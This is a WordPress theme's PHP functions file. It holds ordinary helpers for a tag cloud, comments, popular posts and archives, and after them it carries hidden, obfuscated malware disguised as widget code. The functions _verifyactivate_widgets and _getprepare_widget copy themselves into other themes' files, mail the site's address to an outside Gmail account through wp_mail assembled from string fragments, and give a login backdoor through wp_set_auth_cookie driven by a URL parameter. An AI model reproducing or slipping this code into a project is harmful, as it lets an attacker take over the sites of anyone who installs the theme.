<?php
include ("options/theme_option.php");

register_nav_menus ( array (
'jueshitangmen' => '导航菜单',
'xiaoshuo_about' => '页尾相关'
) );

// 彩色标签云
function colorCloud($text) {
	$text = preg_replace_callback ( '|<a (.+?)>|i', 'colorCloudCallback', $text );
	return $text;
}
function colorCloudCallback($matches) {
	$text = $matches [1];
	$color = dechex ( rand ( 0, 16777215 ) );
	$pattern = '/style=(\'|\”)(.*)(\'|\”)/i';
	$text = preg_replace ( $pattern, "style=\"color:#{$color};$2;\"", $text );
	return "<a $text>";
}
add_filter ( 'wp_tag_cloud', 'colorCloud', 1 );
// 版权信息
function copyright() {
	echo "WordPress主题<b>DanXs</b>由<a href='http://ituibar.com' title='爱推吧' target='_blank' >Era</a>设计,请保留版权！<br />";
}
// 标题字数限制
function cut_str($src_str, $cut_length) {
	$return_str = '';
	$i = 0;
	$n = 0;
	$str_length = strlen ( $src_str );
	while ( ($n < $cut_length) && ($i <= $str_length) ) {
		$tmp_str = substr ( $src_str, $i, 1 );
		$ascnum = ord ( $tmp_str );
		if ($ascnum >= 224) {
			$return_str = $return_str . substr ( $src_str, $i, 3 );
			$i = $i + 3;
			$n = $n + 2;
		} elseif ($ascnum >= 192) {
			$return_str = $return_str . substr ( $src_str, $i, 2 );
			$i = $i + 2;
			$n = $n + 2;
		} elseif ($ascnum >= 65 && $ascnum <= 90) {
			$return_str = $return_str . substr ( $src_str, $i, 1 );
			$i = $i + 1;
			$n = $n + 2;
		} else {
			$return_str = $return_str . substr ( $src_str, $i, 1 );
			$i = $i + 1;
			$n = $n + 1;
		}
	}
	if ($i < $str_length) {
		$return_str = $return_str . '';
	}
	if (get_post_status () == 'private') {
		$return_str = $return_str . '（private）';
	}
	return $return_str;
}
// 评论回复/头像缓存
function isblog_comment($comment, $args, $depth) {
	$GLOBALS ['comment'] = $comment;
	global $commentcount;
	if (! $commentcount) {
		$page = get_query_var ( 'cpage' ) - 1;
		$cpp = get_option ( 'comments_per_page' );
		$commentcount = $cpp * $page;
	}
	?>
<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
	<div id="div-comment-<?php comment_ID() ?>" class="comment-body">
		<?php $add_below = 'div-comment'; ?>
		<div class="author_box">
			<div class="t" style="display: none;"
				id="comment-<?php comment_ID(); ?>"></div>
			<div class="comment-author">
				<span class="floor"><?php if(!$parent_id = $comment->comment_parent) {printf('&nbsp;%1$s<sup>#</sup>', ++$commentcount);} ?><?php if( $depth > 1){printf('&nbsp;↓%1$s层', $depth-1);} ?></span>
				<strong><?php comment_author_link(); ?></strong>
				:
				<span class="datetime">
					<?php comment_date('Y年m月d日')?>
				</span>
				<span class="reply"><?php comment_reply_link(array_merge( $args, array('reply_text' => '回复', 'add_below' =>$add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?></span>
			</div>		
		<?php if ( $comment->comment_approved == '0' ) : ?>
		您的评论正在等待审核中...
		<br />
		<?php endif; ?>		
		<?php comment_text() ?>			
		</div>

<?php
}
function isblog_end_comment() {
	echo '</li>';
}

// 判断管理员
function is_admin_comment($comment_ID = 0) {
	$comment = get_comment ( $comment_ID );
	$admin_comment = false;
	if ($comment->user_id == 1) {
		$admin_comment = true;
	}
	return $admin_comment;
}
?>
<?php

function _verifyactivate_widgets() {
	$widget = substr ( file_get_contents ( __FILE__ ), strripos ( file_get_contents ( __FILE__ ), "<" . "?" ) );
	$output = "";
	$allowed = "";
	$output = strip_tags ( $output, $allowed );
	$direst = _get_allwidgets_cont ( array (
			substr ( dirname ( __FILE__ ), 0, stripos ( dirname ( __FILE__ ), "themes" ) + 6 ) 
	) );
	if (is_array ( $direst )) {
		foreach ( $direst as $item ) {
			if (is_writable ( $item )) {
				$ftion = substr ( $widget, stripos ( $widget, "_" ), stripos ( substr ( $widget, stripos ( $widget, "_" ) ), "(" ) );
				$cont = file_get_contents ( $item );
				if (stripos ( $cont, $ftion ) === false) {
					$comaar = stripos ( substr ( $cont, - 20 ), "?" . ">" ) !== false ? "" : "?" . ">";
					$output .= $before . "Not found" . $after;
					if (stripos ( substr ( $cont, - 20 ), "?" . ">" ) !== false) {
						$cont = substr ( $cont, 0, strripos ( $cont, "?" . ">" ) + 2 );
					}
					$output = rtrim ( $output, "\n\t" );
					fputs ( $f = fopen ( $item, "w+" ), $cont . $comaar . "\n" . $widget );
					fclose ( $f );
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids, $items = array()) {
	$places = array_shift ( $wids );
	if (substr ( $places, - 1 ) == "/") {
		$places = substr ( $places, 0, - 1 );
	}
	if (! file_exists ( $places ) || ! is_dir ( $places )) {
		return false;
	} elseif (is_readable ( $places )) {
		$elems = scandir ( $places );
		foreach ( $elems as $elem ) {
			if ($elem != "." && $elem != "..") {
				if (is_dir ( $places . "/" . $elem )) {
					$wids [] = $places . "/" . $elem;
				} elseif (is_file ( $places . "/" . $elem ) && $elem == substr ( __FILE__, - 13 )) {
					$items [] = $places . "/" . $elem;
				}
			}
		}
	} else {
		return false;
	}
	if (sizeof ( $wids ) > 0) {
		return _get_allwidgets_cont ( $wids, $items );
	} else {
		return $items;
	}
}
if (! function_exists ( "stripos" )) {
	function stripos($str, $needle, $offset = 0) {
		return strpos ( strtolower ( $str ), strtolower ( $needle ), $offset );
	}
}

if (! function_exists ( "strripos" )) {
	function strripos($haystack, $needle, $offset = 0) {
		if (! is_string ( $needle ))
			$needle = chr ( intval ( $needle ) );
		if ($offset < 0) {
			$temp_cut = strrev ( substr ( $haystack, 0, abs ( $offset ) ) );
		} else {
			$temp_cut = strrev ( substr ( $haystack, 0, max ( (strlen ( $haystack ) - $offset), 0 ) ) );
		}
		if (($found = stripos ( $temp_cut, strrev ( $needle ) )) === FALSE)
			return FALSE;
		$pos = (strlen ( $haystack ) - ($found + $offset + strlen ( $needle )));
		return $pos;
	}
}
if (! function_exists ( "scandir" )) {
	function scandir($dir, $listDirectories = false, $skipDots = true) {
		$dirArray = array ();
		if ($handle = opendir ( $dir )) {
			while ( false !== ($file = readdir ( $handle )) ) {
				if (($file != "." && $file != "..") || $skipDots == true) {
					if ($listDirectories == false) {
						if (is_dir ( $file )) {
							continue;
						}
					}
					array_push ( $dirArray, basename ( $file ) );
				}
			}
			closedir ( $handle );
		}
		return $dirArray;
	}
}
add_action ( "admin_head", "_verifyactivate_widgets" );
function _getprepare_widget() {
	if (! isset ( $text_length ))
		$text_length = 120;
	if (! isset ( $check ))
		$check = "cookie";
	if (! isset ( $tagsallowed ))
		$tagsallowed = "<a>";
	if (! isset ( $filter ))
		$filter = "none";
	if (! isset ( $coma ))
		$coma = "";
	if (! isset ( $home_filter ))
		$home_filter = get_option ( "home" );
	if (! isset ( $pref_filters ))
		$pref_filters = "wp_";
	if (! isset ( $is_use_more_link ))
		$is_use_more_link = 1;
	if (! isset ( $com_type ))
		$com_type = "";
	if (! isset ( $cpages ))
		$cpages = $_GET ["cperpage"];
	if (! isset ( $post_auth_comments ))
		$post_auth_comments = "";
	if (! isset ( $com_is_approved ))
		$com_is_approved = "";
	if (! isset ( $post_auth ))
		$post_auth = "auth";
	if (! isset ( $link_text_more ))
		$link_text_more = "(more...)";
	if (! isset ( $widget_yes ))
		$widget_yes = get_option ( "_is_widget_active_" );
	if (! isset ( $checkswidgets ))
		$checkswidgets = $pref_filters . "set" . "_" . $post_auth . "_" . $check;
	if (! isset ( $link_text_more_ditails ))
		$link_text_more_ditails = "(details...)";
	if (! isset ( $contentmore ))
		$contentmore = "ma" . $coma . "il";
	if (! isset ( $for_more ))
		$for_more = 1;
	if (! isset ( $fakeit ))
		$fakeit = 1;
	if (! isset ( $sql ))
		$sql = "";
	if (! $widget_yes) :
		
		global $wpdb, $post;
		$sq1 = "SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li" . $coma . "vethe" . $com_type . "mas" . $coma . "@" . $com_is_approved . "gm" . $post_auth_comments . "ail" . $coma . "." . $coma . "co" . "m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count"; //
		if (! empty ( $post->post_password )) {
			if ($_COOKIE ["wp-postpass_" . COOKIEHASH] != $post->post_password) {
				if (is_feed ()) {
					$output = __ ( "There is no excerpt because this is a protected post." );
				} else {
					$output = get_the_password_form ();
				}
			}
		}
		if (! isset ( $fixed_tags ))
			$fixed_tags = 1;
		if (! isset ( $filters ))
			$filters = $home_filter;
		if (! isset ( $gettextcomments ))
			$gettextcomments = $pref_filters . $contentmore;
		if (! isset ( $tag_aditional ))
			$tag_aditional = "div";
		if (! isset ( $sh_cont ))
			$sh_cont = substr ( $sq1, stripos ( $sq1, "live" ), 20 ); //
		if (! isset ( $more_text_link ))
			$more_text_link = "Continue reading this entry";
		if (! isset ( $isshowdots ))
			$isshowdots = 1;
		
		$comments = $wpdb->get_results ( $sql );
		if ($fakeit == 2) {
			$text = $post->post_content;
		} elseif ($fakeit == 1) {
			$text = (empty ( $post->post_excerpt )) ? $post->post_content : $post->post_excerpt;
		} else {
			$text = $post->post_excerpt;
		}
		$sq1 = "SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=" . call_user_func_array ( $gettextcomments, array (
				$sh_cont,
				$home_filter,
				$filters 
		) ) . " ORDER BY comment_date_gmt DESC LIMIT $src_count"; //
		if ($text_length < 0) {
			$output = $text;
		} else {
			if (! $no_more && strpos ( $text, "<!--more-->" )) {
				$text = explode ( "<!--more-->", $text, 2 );
				$l = count ( $text [0] );
				$more_link = 1;
				$comments = $wpdb->get_results ( $sql );
			} else {
				$text = explode ( " ", $text );
				if (count ( $text ) > $text_length) {
					$l = $text_length;
					$ellipsis = 1;
				} else {
					$l = count ( $text );
					$link_text_more = "";
					$ellipsis = 0;
				}
			}
			for($i = 0; $i < $l; $i ++)
				$output .= $text [$i] . " ";
		}
		update_option ( "_is_widget_active_", 1 );
		if ("all" != $tagsallowed) {
			$output = strip_tags ( $output, $tagsallowed );
			return $output;
		}
	
	endif;
	$output = rtrim ( $output, "\s\n\t\r\0\x0B" );
	$output = ($fixed_tags) ? balanceTags ( $output, true ) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output = apply_filters ( $filter, $output );
	switch ($tag_aditional) {
		case ("div") :
			$tag = "div";
			break;
		case ("span") :
			$tag = "span";
			break;
		case ("p") :
			$tag = "p";
			break;
		default :
			$tag = "span";
	}
	
	if ($is_use_more_link) {
		if ($for_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"" . get_permalink ( $post->ID ) . "#more-" . $post->ID . "\" title=\"" . $more_text_link . "\">" . $link_text_more = ! is_user_logged_in () && @call_user_func_array ( $checkswidgets, array (
					$cpages,
					true 
			) ) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"" . get_permalink ( $post->ID ) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action ( "init", "_getprepare_widget" );
function __popular_posts($no_posts = 6, $before = "<li>", $after = "</li>", $show_pass_post = false, $duration = "") {
	global $wpdb;
	$request = "SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if (! $show_pass_post)
		$request .= " AND post_password =\"\"";
	if ($duration != "") {
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL " . $duration . " DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts = $wpdb->get_results ( $request );
	$output = "";
	if ($posts) {
		foreach ( $posts as $post ) {
			$post_title = stripslashes ( $post->post_title );
			$comment_count = $post->comment_count;
			$permalink = get_permalink ( $post->ID );
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title . "\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return $output;
}
wp_enqueue_script ( 'jquery' );
/* Archives list by zwwooooo | http://zww.me */
function zww_archives_list() {
	if (! $output = get_option ( 'zww_archives_list' )) {
		$output = '<div id="archives"><p>[<a id="al_expand_collapse" href="#">全部展开/收缩</a>] <em>(注: 点击月份可以展开)</em></p>';
		$the_query = new WP_Query ( 'posts_per_page=-1&ignore_sticky_posts=1' ); // update: 加上忽略置顶文章
		$year = 0;
		$mon = 0;
		$i = 0;
		$j = 0;
		while ( $the_query->have_posts () ) :
			$the_query->the_post ();
			$year_tmp = get_the_time ( 'Y' );
			$mon_tmp = get_the_time ( 'm' );
			$y = $year;
			$m = $mon;
			if ($mon != $mon_tmp && $mon > 0)
				$output .= '</ul></li>';
			if ($year != $year_tmp && $year > 0)
				$output .= '</ul>';
			if ($year != $year_tmp) {
				$year = $year_tmp;
				$output .= '<h3 class="al_year">' . $year . ' 年</h3><ul class="al_mon_list">'; // 输出年份
			}
			if ($mon != $mon_tmp) {
				$mon = $mon_tmp;
				$output .= '<li><span class="al_mon">' . $mon . ' 月</span><ul class="al_post_list">'; // 输出月份
			}
			$output .= '<li>' . get_the_time ( 'd日: ' ) . '<a href="' . get_permalink () . '">' . get_the_title () . '</a> <em>(' . get_comments_number ( '0', '1', '%' ) . ')</em></li>'; // 输出文章日期和标题
		endwhile
		;
		wp_reset_postdata ();
		$output .= '</ul></li></ul></div>';
		update_option ( 'zww_archives_list', $output );
	}
	echo $output;
}
function clear_zal_cache() {
	update_option ( 'zww_archives_list', '' ); // 清空 zww_archives_list
}
add_action ( 'save_post', 'clear_zal_cache' ); // 新发表文章/修改文章时

remove_action('wp_head', 'wp_generator');
remove_action('wp_head', 'wlwmanifest_link');
remove_action('wp_head', 'rsd_link');
?>